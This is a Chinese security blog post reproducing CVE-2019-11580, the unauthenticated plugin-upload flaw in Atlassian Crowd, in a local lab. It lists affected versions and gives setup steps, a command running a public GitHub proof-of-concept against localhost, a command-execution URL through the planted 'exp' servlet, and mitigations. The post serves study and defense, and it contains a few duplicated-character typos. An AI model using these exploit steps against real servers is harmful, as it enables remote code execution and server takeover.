Atlassian Crowd 未授权访问漏洞 - CVE-2019-11580
简介
Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为用用户、网络应用程序和目录服务器提供验证、授权等功能
漏洞原理
Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了了pdkinstall开发插件,使其存在安全漏漏洞洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限
影响版本
Atlassian Crowd = 2.1.x
Atlassian Crowd = 3.0.x ~3.0.4
Atlassian Crowd = 3.1.x ~ 3.1.5
Atlassian Crowd = 3.2.x ~ 3.2.7
Atlassian Crowd = 3.3.x ~ 3.3.4
Atlassian Crowd = 3.4.x ~ 3.4.3
环境复现
需要Java环境
下载地址:https://www.atlassian.com/zh/software/crowd/download-archive
1 | 创建账号 |
访问页面,输入License
选择导入备份,设置数据库信息,设置参数,设置管理员账号等
漏洞特征
端口:8095
漏洞利用
下载POC:https://github.com/jas502n/CVE-2019-11580
1 | python CVE-2019-11580.py http://127.0.0.1:8095 |
通过修改cmd后面参数,可以任意执行命令
1 | http://127.0.0.1:8095/crowd/plugins/servlet/exp?cmd=ifconfig |
防御措施
- 设置访问
/crowd/admin/uploadplugin.action
的源ip - 升级 Atlassian Crowd 为最新版本
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 BaiKer!
评论